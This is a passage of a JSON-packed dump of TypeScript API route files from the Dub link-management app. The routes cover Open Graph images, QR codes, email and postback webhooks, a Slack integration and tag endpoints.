    </radialGradient>\n          </defs>\n          <rect fill=\"url(#grid)\" width={WIDTH} height={HEIGHT} />\n          <rect fill=\"url(#gradient1)\" width={WIDTH} height={HEIGHT} />\n          <rect fill=\"url(#gradient2)\" width={WIDTH} height={HEIGHT} />\n        </svg>\n\n        <div\n          tw=\"relative bg-white border-neutral-200 flex w-full max-w-screen-sm flex-col rounded-2xl border p-10 shadow-sm mt-16\"\n          style={{ transform: \"scale(1.5)\", transformOrigin: \"top center\" }}\n        >\n          <div tw=\"flex grow flex-col\">\n            <span tw=\"text-neutral-900 text-lg font-semibold\">\n              {step.label}\n            </span>\n\n            <div tw=\"flex pt-2\">\n              <span tw=\"text-neutral-900 text-8xl font-bold\">\n                {step.valueType === \"currency\" && \"$\"}\n                {nFormatter(value, { full: value <= 9999999 })}\n              </span>\n            </div>\n\n            <div\n              tw={cn(\"mt-5 flex items-center\", !percentileLabel && \"opacity-0\")}\n            >\n              <img\n                src=\"https://assets.dub.co/misc/partner-rewind-2025/top-medallion.jpg\"\n                tw=\"w-6 h-6 mr-2.5\"\n              />\n              <span tw=\"text-neutral-900 text-base font-semibold\">\n                {percentileLabel} of all partners\n              </span>\n            </div>\n          </div>\n\n          <div tw=\"flex items-end justify-between\">\n            <span\n              tw=\"text-neutral-900 max-w-[180px] text-3xl leading-8 font-bold\"\n              style={{ fontFamily: \"Inter\" }}\n            >\n              Dub Partner Rewind &rsquo;25\n            </span>\n\n            <img\n              tw=\"-mb-4 -mr-1 -mt-8 flex h-[280px]\"\n              src={`${REWIND_ASSETS_PATH}/${step.image}`}\n            />\n          </div>\n        </div>\n\n        <img src=\"https://assets.dub.co/wordmark.svg\" tw=\"h-16 mb-18\" />\n      </div>\n    ),\n    {\n      width: WIDTH,\n      height: HEIGHT,\n      fonts: interBold\n        ? [\n            {\n              name: \"Inter\",\n              data: interBold,\n              style: \"normal\",\n              weight: 700,\n            },\n          ]\n        : [],\n    },\n  );\n});\n"
  },
  {
    "path": "apps/web/app/api/og/program/route.tsx",
    "content": "import { serializeReward } from \"@/lib/api/partners/serialize-reward\";\nimport { constructRewardAmount } from \"@/lib/api/sales/construct-reward-amount\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { prisma } from \"@dub/prisma\";\nimport { Reward } from \"@dub/prisma/client\";\nimport { ImageResponse } from \"next/og\";\nimport { NextRequest } from \"next/server\";\nimport { SVGProps } from \"react\";\nimport { loadGoogleFont } from \"../load-google-font\";\n\nconst DARK_CELLS = [\n  [2, 3],\n  [5, 3],\n  [56, 7],\n  [53, 1],\n];\n\nexport async function GET(req: NextRequest) {\n  const slug = req.nextUrl.searchParams.get(\"slug\");\n  const groupSlug = req.nextUrl.searchParams.get(\"groupSlug\");\n\n  if (!slug) {\n    return new Response(\"Missing 'slug' parameter\", {\n      status: 400,\n    });\n  }\n  const [interSemibold, program] = await Promise.all([\n    loadGoogleFont(\"Inter:wght@600\"),\n    prisma.program.findUnique({\n      where: {\n        slug,\n      },\n      include: {\n        groups: {\n          where: {\n            slug: groupSlug ?? DEFAULT_PARTNER_GROUP.slug,\n          },\n          include: {\n            clickReward: true,\n            saleReward: true,\n            leadReward: true,\n          },\n        },\n      },\n    }),\n  ]);\n\n  if (!program) {\n    return new Response(`Program not found`, {\n      status: 404,\n    });\n  }\n\n  const group = program.groups[0];\n\n  const logo = group.wordmark || group.logo;\n  const brandColor = group.brandColor || \"#000000\";\n\n  const rewards = [group.clickReward, group.leadReward, group.saleReward]\n    .filter((r): r is Reward => r !== null)\n    .map(serializeReward);\n  const reward = rewards[0];\n\n  return new ImageResponse(\n    (\n      <div\n        tw=\"flex flex-col bg-white w-full h-full\"\n        style={{ fontFamily: \"Inter\" }}\n      >\n        {/* @ts-ignore */}\n        <svg tw=\"absolute inset-0 text-black/10\" width=\"1200\" height=\"630\">\n          <defs>\n            <pattern\n              id=\"grid\"\n              width={20}\n              height={20}\n              patternUnits=\"userSpaceOnUse\"\n            >\n              <path\n                d={`M 20 0 L 0 0 0 20`}\n                fill=\"transparent\"\n                stroke=\"currentColor\"\n                strokeWidth={1}\n              />\n            </pattern>\n            <pattern\n              id=\"grid-large\"\n              width={160}\n              height={160}\n              patternUnits=\"userSpaceOnUse\"\n            >\n              <path\n                d={`M 160 0 L 0 0 0 160`}\n                fill=\"transparent\"\n                stroke=\"currentColor\"\n                strokeOpacity={0.5}\n                strokeWidth={1}\n              />\n            </pattern>\n            <linearGradient id=\"gradient\" x1=\"0\" y1=\"0\" x2=\"0\" y2=\"1\">\n              <stop offset=\"0%\" stopColor=\"#fff\" stopOpacity={0} />\n              <stop offset=\"100%\" stopColor=\"#fff\" stopOpacity={1} />\n            </linearGradient>\n          </defs>\n          {DARK_CELLS.map(([x, y]) => (\n            <rect\n              key={`${x}-${y}`}\n              x={x * 20 + 1}\n              y={y * 20 + 1}\n              width={19}\n              height={19}\n              fill=\"black\"\n              fillOpacity={0.02}\n            />\n          ))}\n          <rect fill=\"url(#grid)\" width=\"1200\" height=\"630\" />\n          <rect fill=\"url(#grid-large)\" width=\"1200\" height=\"630\" />\n          <rect fill=\"url(#gradient)\" width=\"1200\" height=\"630\" />\n        </svg>\n\n        <div tw=\"relative flex flex-col mx-auto h-full bg-white w-[879px] px-16 py-20 overflow-hidden\">\n          {logo && <img src={logo} height={48} />}\n          <div\n            tw=\"mt-16 text-left uppercase text-lg\"\n            style={{ color: brandColor }}\n          >\n            Partner Program\n          </div>\n          <div\n            tw=\"mt-4 text-4xl font-semibold text-neutral-800\"\n            style={{\n              display: \"block\",\n              lineClamp: 2,\n              textOverflow: \"ellipsis\",\n              fontFamily: \"Inter\",\n            }}\n          >\n            {`Join the ${program.name} affiliate program`}\n          </div>\n          <div tw=\"mt-10 flex\">\n            {rewards.length > 0 && (\n              <div tw=\"w-full flex items-center rounded-md bg-neutral-100 border border-neutral-200 p-8 text-2xl\">\n                {/* @ts-ignore */}\n                <InvoiceDollar tw=\"w-8 h-8 mr-4\" />\n                {constructRewardAmount(reward)}\n                {reward.event === \"sale\" && reward.maxDuration === 0\n                  ? \" for the first sale \"\n                  : ` per ${reward.event} `}\n                {reward.maxDuration === null\n                  ? \"for the customer's lifetime\"\n                  : reward.maxDuration && reward.maxDuration > 1\n                    ? reward.maxDuration % 12 === 0\n                      ? `for ${reward.maxDuration / 12} year${reward.maxDuration / 12 > 1 ? \"s\" : \"\"}`\n                      : `for ${reward.maxDuration} months`\n                    : null}\n              </div>\n            )}\n          </div>\n          <div\n            tw=\"mt-10 text-white px-4 h-16 flex items-center text-2xl justify-center rounded-lg border-2 border-white/30 shadow-xl\"\n            style={{\n              fontFamily: \"Inter\",\n              backgroundColor: brandColor,\n            }}\n          >\n            Apply today\n          </div>\n        </div>\n      </div>\n    ),\n    {\n      width: 1200,\n      height: 630,\n      fonts: interSemibold\n        ? [\n            {\n              name: \"Inter\",\n              data: interSemibold,\n              style: \"normal\",\n              weight: 600,\n            },\n          ]\n        : [],\n    },\n  );\n}\n\nfunction InvoiceDollar({\n  strokeWidth = 1.5,\n  ...props\n}: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M14.75,3.75v12.5l-2.75-1.5-3,1.5-3-1.5-2.75,1.5V3.75c0-1.105,.895-2,2-2h7.5c1.105,0,2,.895,2,2Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth={strokeWidth}\n        />\n        <path\n          d=\"M10.724,6.556c-.374-.885-1.122-1.086-1.688-1.086-.526,0-1.907,.28-1.779,1.606,.09,.931,.967,1.277,1.734,1.414s1.88,.429,1.907,1.551c.023,.949-.83,1.597-1.861,1.597-.985,0-1.67-.383-1.934-1.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth={strokeWidth}\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth={strokeWidth}\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"4.75\"\n          y2=\"5.47\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth={strokeWidth}\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"11.638\"\n          y2=\"12.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/api/postbacks/callback/route.ts",
    "content": "import { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { recordPostbackEvent } from \"@/lib/postback/api/record-postback-event\";\nimport {\n  postbackCallbackBodySchema,\n  postbackCallbackParamsSchema,\n} from \"@/lib/postback/schemas\";\nimport { prisma } from \"@dub/prisma\";\nimport { getSearchParams } from \"@dub/utils\";\nimport { logAndRespond } from \"app/(ee)/api/cron/utils\";\n\n// POST /api/postbacks/callback - callback from QStash\nexport const POST = async (req: Request) => {\n  const rawBody = await req.text();\n\n  await verifyQstashSignature({\n    req,\n    rawBody,\n  });\n\n  const { status, url, sourceMessageId, body, sourceBody, retried } =\n    postbackCallbackBodySchema.parse(JSON.parse(rawBody));\n\n  const { postbackId, eventId, event } = postbackCallbackParamsSchema.parse(\n    getSearchParams(req.url),\n  );\n\n  const postback = await prisma.postback.findUnique({\n    where: {\n      id: postbackId,\n    },\n    select: {\n      id: true,\n    },\n  });\n\n  if (!postback) {\n    return logAndRespond(`Postback ${postbackId} not found.`);\n  }\n\n  const request = Buffer.from(sourceBody, \"base64\").toString(\"utf-8\");\n  const response = Buffer.from(body, \"base64\").toString(\"utf-8\");\n\n  const tbResponse = await recordPostbackEvent({\n    event_id: eventId,\n    postback_id: postbackId,\n    message_id: sourceMessageId,\n    event,\n    url,\n    response_status: status === -1 ? 503 : status,\n    request_body: request,\n    response_body: response,\n    retry_attempt: retried,\n  });\n\n  if (tbResponse.successful_rows === 0) {\n    return logAndRespond(\n      `Failed to record event ${eventId} for postback ${postbackId}.`,\n      {\n        status: 400,\n      },\n    );\n  }\n\n  return logAndRespond(\n    `Event ${eventId} for postback ${postbackId} processed.`,\n  );\n};\n"
  },
  {
    "path": "apps/web/app/api/providers/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { ratelimitOrThrow } from \"@/lib/api/utils\";\nimport { getUrlQuerySchema } from \"@/lib/zod/schemas/links\";\nimport { fetchWithTimeout } from \"@dub/utils\";\nimport { NextRequest, NextResponse } from \"next/server\";\n\nexport const runtime = \"edge\";\n\nexport async function GET(req: NextRequest) {\n  try {\n    const { url } = getUrlQuerySchema.parse({\n      url: req.nextUrl.searchParams.get(\"url\"),\n    });\n\n    await ratelimitOrThrow(req, \"providers\");\n\n    const urlObject = new URL(url);\n\n    const domain = urlObject.hostname;\n    const dns = await fetchWithTimeout(\n      `https://dns.google/resolve?name=${domain}`,\n    )\n      .then((r) => r.json())\n      .catch(() => null);\n\n    if (\n      dns &&\n      dns.Answer &&\n      dns.Answer.length > 0 &&\n      dns.Answer.some(\n        (a: { data: string }) =>\n          a.data === \"cname.bitly.com\" ||\n          a.data === \"67.199.248.12\" ||\n          a.data === \"67.199.248.13\",\n      )\n    ) {\n      return NextResponse.json({\n        provider: \"bitly\",\n      });\n    }\n\n    urlObject.pathname = \"/xyz\";\n\n    const headers = await fetchWithTimeout(urlObject.toString(), {\n      headers: {\n        method: \"HEAD\",\n      },\n      redirect: \"manual\",\n    })\n      .then((r) => ({\n        engine: r.headers.get(\"engine\"),\n        poweredBy: r.headers.get(\"x-powered-by\"),\n      }))\n      .catch(() => null);\n\n    if (headers) {\n      if (headers.engine?.includes(\"Rebrandly\")) {\n        return NextResponse.json({\n          provider: \"rebrandly\",\n        });\n      }\n      if (headers.poweredBy?.includes(\"Short.io\")) {\n        return NextResponse.json({\n          provider: \"short\",\n        });\n      }\n      if (headers.poweredBy?.includes(\"Dub\")) {\n        return NextResponse.json({\n          provider: \"dub\",\n        });\n      }\n    }\n\n    return NextResponse.json({\n      provider: \"unknown\",\n    });\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/api/qr/route.tsx",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { ratelimitOrThrow } from \"@/lib/api/utils\";\nimport { getShortLinkViaEdge, getWorkspaceViaEdge } from \"@/lib/planetscale\";\nimport { getDomainViaEdge } from \"@/lib/planetscale/get-domain-via-edge\";\nimport { QRCodeSVG } from \"@/lib/qr/utils\";\nimport { getQRCodeQuerySchema } from \"@/lib/zod/schemas/qr\";\nimport { DUB_QR_LOGO, getSearchParams, isDubDomain } from \"@dub/utils\";\nimport { ImageResponse } from \"next/og\";\nimport { NextRequest } from \"next/server\";\n\nexport const runtime = \"edge\";\n\nconst CORS_HEADERS = new Headers({\n  \"Access-Control-Allow-Origin\": \"*\",\n  \"Access-Control-Allow-Methods\": \"GET, OPTIONS\",\n});\n\nexport async function GET(req: NextRequest) {\n  try {\n    const paramsParsed = getQRCodeQuerySchema.parse(getSearchParams(req.url));\n\n    await ratelimitOrThrow(req, \"qr\");\n\n    const { logo, url, size, level, fgColor, bgColor, margin, hideLogo } =\n      paramsParsed;\n\n    const qrCodeLogo = await getQRCodeLogo({ url, logo, hideLogo });\n\n    return new ImageResponse(\n      QRCodeSVG({\n        value: url,\n        size,\n        level,\n        fgColor,\n        bgColor,\n        margin,\n        ...(qrCodeLogo\n          ? {\n              imageSettings: {\n                src: qrCodeLogo,\n                height: size / 4,\n                width: size / 4,\n                excavate: true,\n              },\n            }\n          : {}),\n        isOGContext: true,\n      }),\n      {\n        width: size,\n        height: size,\n        headers: CORS_HEADERS,\n      },\n    );\n  } catch (error) {\n    return handleAndReturnErrorResponse(error, CORS_HEADERS);\n  }\n}\n\nconst getQRCodeLogo = async ({\n  url,\n  logo,\n  hideLogo,\n}: {\n  url: string;\n  logo: string | undefined;\n  hideLogo: boolean;\n}) => {\n  const shortLink = await getShortLinkViaEdge(url.split(\"?\")[0]);\n\n  // Not a Dub link\n  if (!shortLink) {\n    return DUB_QR_LOGO;\n  }\n\n  const workspace = await getWorkspaceViaEdge({\n    workspaceId: shortLink.projectId,\n  });\n\n  if (workspace?.plan === \"free\") {\n    return DUB_QR_LOGO;\n  }\n\n  // if hideLogo is set, return null\n  if (hideLogo) {\n    return null;\n  }\n\n  // if logo is passed, return it\n  if (logo) {\n    return logo;\n  }\n\n  // if it's a Dub owned domain and no  workspace logo is set, use the Dub logo\n  if (isDubDomain(shortLink.domain) && !workspace?.logo) {\n    return DUB_QR_LOGO;\n  }\n\n  // if it's a custom domain, check if it has a logo\n  const domain = await getDomainViaEdge(shortLink.domain);\n\n  // return domain logo if it has one, otherwise fallback to workspace logo, and finally fallback to Dub logo\n  return domain?.logo || workspace?.logo || DUB_QR_LOGO;\n};\n\nexport function OPTIONS() {\n  return new Response(null, {\n    status: 204,\n    headers: CORS_HEADERS,\n  });\n}\n"
  },
  {
    "path": "apps/web/app/api/resend/webhook/email-bounced.ts",
    "content": "import { prisma } from \"@dub/prisma\";\n\nexport async function emailBounced({\n  email_id: emailId,\n  tags,\n}: {\n  email_id: string;\n  tags?: Record<string, string>;\n}) {\n  if (tags?.type !== \"notification-email\") {\n    console.log(\n      `Ignoring email.bounced webhook for email ${emailId} because it's not a notification email...`,\n    );\n    return;\n  }\n\n  const notificationEmail = await prisma.notificationEmail.findUnique({\n    where: {\n      emailId,\n    },\n  });\n\n  if (!notificationEmail) {\n    console.log(\n      `notificationEmail ${emailId} not found for email.bounced webhook.`,\n    );\n    return;\n  }\n\n  if (notificationEmail.bouncedAt) {\n    return;\n  }\n\n  const res = await prisma.notificationEmail.update({\n    where: {\n      emailId,\n    },\n    data: {\n      bouncedAt: new Date(),\n    },\n  });\n\n  console.log(\n    `Updated notification email ${res.id} with Resend email id ${emailId} to bouncedAt: ${res.bouncedAt}`,\n  );\n}\n"
  },
  {
    "path": "apps/web/app/api/resend/webhook/email-delivered.ts",
    "content": "import { prisma } from \"@dub/prisma\";\n\nexport async function emailDelivered({\n  email_id: emailId,\n  tags,\n}: {\n  email_id: string;\n  tags?: Record<string, string>;\n}) {\n  if (tags?.type !== \"notification-email\") {\n    console.log(\n      `Ignoring email.delivered webhook for email ${emailId} because it's not a notification email...`,\n    );\n    return;\n  }\n\n  const notificationEmail = await prisma.notificationEmail.findUnique({\n    where: {\n      emailId,\n    },\n  });\n\n  if (!notificationEmail) {\n    console.log(\n      `notificationEmail ${emailId} not found for email.delivered webhook.`,\n    );\n    return;\n  }\n\n  if (notificationEmail.deliveredAt) {\n    return;\n  }\n\n  const res = await prisma.notificationEmail.update({\n    where: {\n      emailId,\n    },\n    data: {\n      deliveredAt: new Date(),\n    },\n  });\n\n  console.log(\n    `Updated notification email ${res.id} with Resend email id ${emailId} to deliveredAt: ${res.deliveredAt}`,\n  );\n}\n"
  },
  {
    "path": "apps/web/app/api/resend/webhook/email-opened.ts",
    "content": "import { prisma } from \"@dub/prisma\";\n\nexport async function emailOpened({\n  email_id: emailId,\n  tags,\n  subject,\n}: {\n  email_id: string;\n  tags?: Record<string, string>;\n  subject?: string;\n}) {\n  if (tags?.type !== \"notification-email\") {\n    console.log(\n      `Ignoring email.opened webhook for email ${emailId} because it's not a notification email...`,\n    );\n    return;\n  }\n\n  const notificationEmail = await prisma.notificationEmail.findUnique({\n    where: {\n      emailId,\n    },\n  });\n\n  if (!notificationEmail) {\n    console.log(\n      `Ignoring email.opened webhook for email ${emailId} because it's not a notification email...`,\n    );\n    return;\n  }\n\n  if (notificationEmail.openedAt) {\n    console.log(\n      `Ignoring email.opened webhook for email ${emailId} because it already has an openedAt timestamp: ${notificationEmail.openedAt}`,\n    );\n    return;\n  }\n\n  console.log(\n    `Updating notification email read statuses for email ${emailId}. Subject: ${subject}`,\n  );\n\n  const res = await prisma.$transaction(async (tx) => {\n    const notificationEmail = await tx.notificationEmail.update({\n      where: {\n        emailId,\n      },\n      data: {\n        openedAt: new Date(),\n      },\n    });\n\n    console.log(\n      `Updated notification email ${notificationEmail.id} with Resend email id ${emailId} to openedAt: ${notificationEmail.openedAt}`,\n    );\n\n    if (\n      !notificationEmail.programId ||\n      !notificationEmail.partnerId ||\n      !notificationEmail.messageId\n    ) {\n      return notificationEmail;\n    }\n\n    return await tx.message.updateMany({\n      where: {\n        programId: notificationEmail.programId,\n        partnerId: notificationEmail.partnerId,\n        readInEmail: null,\n        createdAt: {\n          lte: notificationEmail.createdAt,\n        },\n      },\n      data: {\n        readInEmail: new Date(),\n      },\n    });\n  });\n\n  console.log(\n    `Finished processing email.opened webhook for email ${emailId}: ${JSON.stringify(res, null, 2)}`,\n  );\n}\n"
  },
  {
    "path": "apps/web/app/api/resend/webhook/route.ts",
    "content": "import { NextResponse } from \"next/server\";\nimport { Webhook } from \"svix\";\nimport { emailBounced } from \"./email-bounced\";\nimport { emailDelivered } from \"./email-delivered\";\nimport { emailOpened } from \"./email-opened\";\n\nconst webhookSecret = process.env.RESEND_WEBHOOK_SECRET!;\n\n// POST /api/resend/webhook – listen to Resend webhooks\nexport const POST = async (req: Request) => {\n  const rawBody = await req.text();\n  const webhook = new Webhook(webhookSecret);\n\n  // Throws on error, returns the verified content on success\n  webhook.verify(rawBody, {\n    \"svix-id\": req.headers.get(\"svix-id\")!,\n    \"svix-timestamp\": req.headers.get(\"svix-timestamp\")!,\n    \"svix-signature\": req.headers.get(\"svix-signature\")!,\n  });\n\n  const { type, data } = JSON.parse(rawBody) || {};\n\n  switch (type) {\n    case \"email.opened\":\n      await emailOpened(data);\n      break;\n    case \"email.delivered\":\n      await emailDelivered(data);\n      break;\n    case \"email.bounced\":\n      await emailBounced(data);\n      break;\n  }\n\n  return NextResponse.json({ message: \"Webhook processed.\" });\n};\n"
  },
  {
    "path": "apps/web/app/api/resumes/upload-url/route.ts",
    "content": "import { storage } from \"@/lib/storage\";\nimport { ratelimit } from \"@/lib/upstash\";\nimport { LOCALHOST_IP, nanoid, R2_URL } from \"@dub/utils\";\nimport { ipAddress } from \"@vercel/functions\";\nimport { NextRequest, NextResponse } from \"next/server\";\n\nconst CORS_HEADERS = new Headers({\n  \"Access-Control-Allow-Methods\": \"POST\",\n  \"Access-Control-Allow-Headers\": \"Content-Type\",\n});\n\n// POST /api/resumes/upload-url – get a signed URL to upload a resume\nexport const POST = async (req: NextRequest) => {\n  const origin = req.headers.get(\"origin\");\n\n  if (origin && (origin === \"https://dub.co\" || origin.endsWith(\".dub.co\"))) {\n    CORS_HEADERS[\"Access-Control-Allow-Origin\"] = origin;\n  }\n\n  // Max 5 requests per minute\n  const ip = process.env.VERCEL === \"1\" ? ipAddress(req) : LOCALHOST_IP;\n  const { success } = await ratelimit(5, \"1 m\").limit(`upload-resume:${ip}`);\n\n  if (!success) {\n    return new Response(\"Don't DDoS me pls 🥺\", { status: 429 });\n  }\n\n  const key = `resumes/${nanoid(16)}`;\n  const signedUrl = await storage.getSignedUploadUrl({\n    key,\n  });\n\n  return NextResponse.json(\n    {\n      key,\n      signedUrl,\n      destinationUrl: `${R2_URL}/${key}`,\n    },\n    { headers: CORS_HEADERS },\n  );\n};\n"
  },
  {
    "path": "apps/web/app/api/route.ts",
    "content": "import { document } from \"@/lib/openapi\";\nimport { NextResponse } from \"next/server\";\n\nexport const runtime = \"edge\";\n\nexport function GET() {\n  return NextResponse.json(document);\n}\n"
  },
  {
    "path": "apps/web/app/api/slack/callback/route.ts",
    "content": "import { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { getSession } from \"@/lib/auth\";\nimport { installIntegration } from \"@/lib/integrations/install\";\nimport { slackOAuthProvider } from \"@/lib/integrations/slack/oauth\";\nimport { SlackAuthToken } from \"@/lib/integrations/types\";\nimport { createWebhook } from \"@/lib/webhook/create-webhook\";\nimport { prisma } from \"@dub/prisma\";\nimport { Project, WebhookReceiver } from \"@dub/prisma/client\";\nimport { redirect } from \"next/navigation\";\n\nexport const dynamic = \"force-dynamic\";\n\nexport const GET = async (req: Request) => {\n  let workspace:\n    | (Pick<Project, \"id\" | \"slug\" | \"plan\"> & {\n        users: Array<{ role: string }>;\n      })\n    | null = null;\n\n  try {\n    const session = await getSession();\n\n    if (!session?.user.id) {\n      throw new DubApiError({\n        code: \"unauthorized\",\n        message: \"Unauthorized\",\n      });\n    }\n\n    const { token, contextId: workspaceId } =\n      await slackOAuthProvider.exchangeCodeForToken<string>(req);\n\n    workspace = await prisma.project.findUniqueOrThrow({\n      where: {\n        id: workspaceId,\n      },\n      select: {\n        id: true,\n        slug: true,\n        plan: true,\n        users: {\n          where: {\n            userId: session.user.id,\n          },\n        },\n      },\n    });\n\n    // Check if the user is a member of the workspace\n    if (workspace.users.length === 0) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"You are not a member of this workspace. \",\n      });\n    }\n\n    const integration = await prisma.integration.findUniqueOrThrow({\n      where: {\n        slug: \"slack\",\n      },\n      select: {\n        id: true,\n      },\n    });\n\n    const credentials: SlackAuthToken = {\n      appId: token.app_id,\n      botUserId: token.bot_user_id,\n      scope: token.scope,\n      accessToken: token.access_token,\n      tokenType: token.token_type,\n      authUser: token.authed_user,\n      team: token.team,\n      incomingWebhook: {\n        channel: token.incoming_webhook.channel,\n        channelId: token.incoming_webhook.channel_id,\n      },\n    };\n\n    const installation = await installIntegration({\n      integrationId: integration.id,\n      userId: session.user.id,\n      workspaceId,\n      credentials,\n    });\n\n    await createWebhook({\n      name: \"Slack\",\n      url: token.incoming_webhook.url,\n      receiver: WebhookReceiver.slack,\n      triggers: [],\n      workspace,\n      installationId: installation.id,\n    });\n  } catch (e: any) {\n    return handleAndReturnErrorResponse(e);\n  }\n\n  redirect(`/${workspace.slug}/settings/integrations/slack`);\n};\n"
  },
  {
    "path": "apps/web/app/api/slack/slash-commands/route.ts",
    "content": "import { handleSlashCommand } from \"@/lib/integrations/slack/commands\";\nimport { NextResponse } from \"next/server\";\n\n// Slack will send an HTTP POST request information to this URL when a user run the slash command\nexport const POST = async (req: Request) => {\n  return NextResponse.json(await handleSlashCommand(req));\n};\n"
  },
  {
    "path": "apps/web/app/api/supported-countries/route.ts",
    "content": "import { PAYOUT_SUPPORTED_COUNTRIES } from \"@/lib/constants/payouts-supported-countries\";\nimport { NextResponse } from \"next/server\";\n\nexport const dynamic = \"force-static\";\n\nexport async function GET() {\n  return NextResponse.json(PAYOUT_SUPPORTED_COUNTRIES, {\n    headers: {\n      \"Access-Control-Allow-Origin\": \"*\",\n      // cache indefinitely till next deployment\n      \"Cache-Control\": \"public, max-age=31536000, s-maxage=31536000\",\n    },\n  });\n}\n"
  },
  {
    "path": "apps/web/app/api/tags/[id]/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { LinkTagSchema, updateTagBodySchema } from \"@/lib/zod/schemas/tags\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// PATCH /api/tags/[id] – update a tag for a workspace\nexport const PATCH = withWorkspace(\n  async ({ req, params, workspace }) => {\n    const { id } = params;\n    const { name, color } = updateTagBodySchema.parse(await req.json());\n\n    const tag = await prisma.tag.findFirst({\n      where: {\n        id,\n        projectId: workspace.id,\n      },\n    });\n\n    if (!tag) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Tag not found.\",\n      });\n    }\n\n    try {\n      const response = await prisma.tag.update({\n        where: {\n          id,\n        },\n        data: {\n          name,\n          color,\n        },\n      });\n\n      return NextResponse.json(LinkTagSchema.parse(response));\n    } catch (error) {\n      if (error.code === \"P2002\") {\n        throw new DubApiError({\n          code: \"conflict\",\n          message: \"A tag with that name already exists.\",\n        });\n      }\n\n      throw error;\n    }\n  },\n  {\n    requiredPermissions: [\"tags.write\"],\n  },\n);\n\nexport const PUT = PATCH;\n\n// DELETE /api/tags/[id] – delete a tag for a workspace\nexport const DELETE = withWorkspace(\n  async ({ params, workspace }) => {\n    const { id } = params;\n    try {\n      const response = await prisma.tag.delete({\n        where: {\n          id,\n          projectId: workspace.id,\n        },\n        include: {\n          links: {\n            select: {\n              link: {\n                include: {\n                  ...includeTags,\n                  ...includeProgramEnrollment,\n                },\n              },\n            },\n          },\n        },\n      });\n\n      if (!response) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: \"Tag not found.\",\n        });\n      }\n\n      // update links metadata in tinybird after deleting a tag\n      waitUntil(\n        recordLink(\n          response.links.map(({ link }) => ({\n            ...link,\n            tags: link.tags.filter(({ tag }) => tag.id !== id),\n          })),\n        ),\n      );\n\n      return NextResponse.json({ id });\n    } catch (error) {\n      if (error.code === \"P2025\") {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: \"Tag not found.\",\n        });\n      }\n\n      throw error;\n    }\n  },\n  {\n    requiredPermissions: [\"tags.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/tags/count/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { getTagsCountQuerySchema } from \"@/lib/zod/schemas/tags\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/tags/count - get count of tags\nexport const GET = withWorkspace(\n  async ({ workspace, headers, searchParams }) => {\n    const { search } = getTagsCountQuerySchema.parse(searchParams);\n\n    const count = await prisma.tag.count({\n      where: {\n        projectId: workspace.id,\n        ...(search && {\n          name: {\n            contains: search,\n          },\n        }),\n      },\n    });\n\n    return NextResponse.json(count, { headers });\n  },\n  {\n    requiredPermissions: [\"tags.read\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/tags/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { exceededLimitError } from \"@/lib/exceeded-limit-error\";\nimport {\n  LinkTagSchema,\n  createTagBodySchema,\n  getTagsQuerySchemaExtended,\n} from \"@/lib/zod/schemas/tags\";\nimport { randomBadgeColor } from \"@/ui/links/tag-badge\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/tags - get all tags for a workspace\nexport const GET = withWorkspace(\n  async ({ workspace, headers, searchParams }) => {\n    const {\n      search,\n      ids,\n      sortBy,\n      sortOrder,\n      page = 1,\n      pageSize,\n      includeLinksCount,\n    } = getTagsQuerySchemaExtended.parse(searchParams);\n\n    const tags = await prisma.tag.findMany({\n      where: {\n        projectId: workspace.id,\n        ...(search && {\n          name: {\n            contains: search,\n          },\n        }),\n        ...(ids && {\n          id: {\n            in: ids,\n          },\n        }),\n      },\n      select: {\n        id: true,\n        name: true,\n        color: true,\n        ...(includeLinksCount && {\n          _count: {\n            select: {\n              links: true,\n            },\n          },\n        }),\n      },\n      orderBy: {\n        [sortBy]: sortOrder,\n      },\n      take: pageSize,\n      skip: (page - 1) * pageSize,\n    });\n\n    return NextResponse.json(tags, { headers });\n  },\n  {\n    requiredPermissions: [\"tags.read\"],\n  },\n);\n\n// POST /api/tags - create a tag for a workspace\nexport const POST = withWorkspace(\n  async ({ req, workspace, 